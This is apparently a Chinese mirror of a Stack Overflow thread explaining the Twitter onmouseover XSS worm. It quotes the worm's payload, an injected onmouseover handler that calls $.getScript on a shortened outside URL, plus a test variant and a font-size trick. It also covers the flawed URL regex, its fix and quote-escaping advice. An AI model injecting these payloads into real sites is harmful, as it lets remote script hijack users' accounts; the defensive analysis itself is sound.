当前位置:  开发笔记 > 编程语言 > 正文

今天的XSS onmouseover漏洞利用twitter.com

如何解决《今天的XSSonmouseover漏洞利用twitter.com》经验,为你挑选了2个好方法。

你能解释一下今天Twitter上究竟发生了什么吗?基本上,漏洞利用导致人们发布包含此链接的推文:

http://t.co/@"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

这在技术上是XSS攻击还是其他什么?

以下是Twitter主页的外观:http://www.flickr.com/photos/travelist/6832853140/



1> Michael Fouk..:

该漏洞是因为未正确解析URL.例如,以下URL发布到Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter将此视为URL.解析时,Twitter会围绕该代码包含一个链接,因此HTML现在看起来像:

http://thisisatest.com/@"onmouseover="alert('test xss')"/ 

你可以看到,通过输入URL和尾部斜杠,Twitter认为它有一个有效的URL,即使它包含一个引号标记,允许它转义(即终止href属性,对于那里的学生)URL属性并包括鼠标.您可以向页面写入任何内容,包括关闭链接和包含脚本元素.此外,您不受限制,因为您可以使用140个字符限制$.getScript().

如果提交此提交,则会阻止此XSS漏洞.

详细而言,违规的正则表达式是:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

@[^\/]+\/当它以@符号作为前缀并以正斜杠为后缀时,该部分允许任何字符(正斜杠除外).

@#{REGEXEN[:valid_general_url_path_chars]}+\/现在更改为只允许有效的URL字符.


这是对相关代码的准确分析.

2> rook..:

是的,这是XSS,它正在攻击一个javascript事件处理程序.这个XSS的酷炫之处在于它不需要<>利用.注入的字符串是:size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".

size::999999999999px使得它非常大,并且更有可能有人会将鼠标悬停在它上面.真正的问题是onmouseover=事件处理程序.

要在PHP中防止这种情况,您需要将引号转换为其html实体: $var=htmlspecialchars($var,ENT_QUOTES);

这是因为HTML无法像sql一样转义引号: \'


它是,但stjowa没有编辑你的拼写错误所需的代表.
@Rook:我相信你有一个错字 - "ENT_QUOTS"应该是"ENT_QUOTES"
@stjowa和那就是为什么堆栈溢出是wiki风格.
从技术上来说,这个特定的例子不需要`ENT_QUOTES`因为```默认情况下被`htmlspecialchars()`转义.只有单引号字符''`没有`ENT_QUOTES`就没有转义.单引号用于属性分隔符的次数远远少于双倍,但始终使用"ENT_QUOTES"来保证安全性仍然是个好主意.
推荐阅读
赛亚兔备_393
这个屌丝很懒,什么也没留下!
DevBox开发工具箱 | 专业的在线开发工具网站    京公网安备 11010802040832号  |  京ICP备19059560号-6
Copyright © 1998 - 2020 DevBox.CN. All Rights Reserved devBox.cn 开发工具箱 版权所有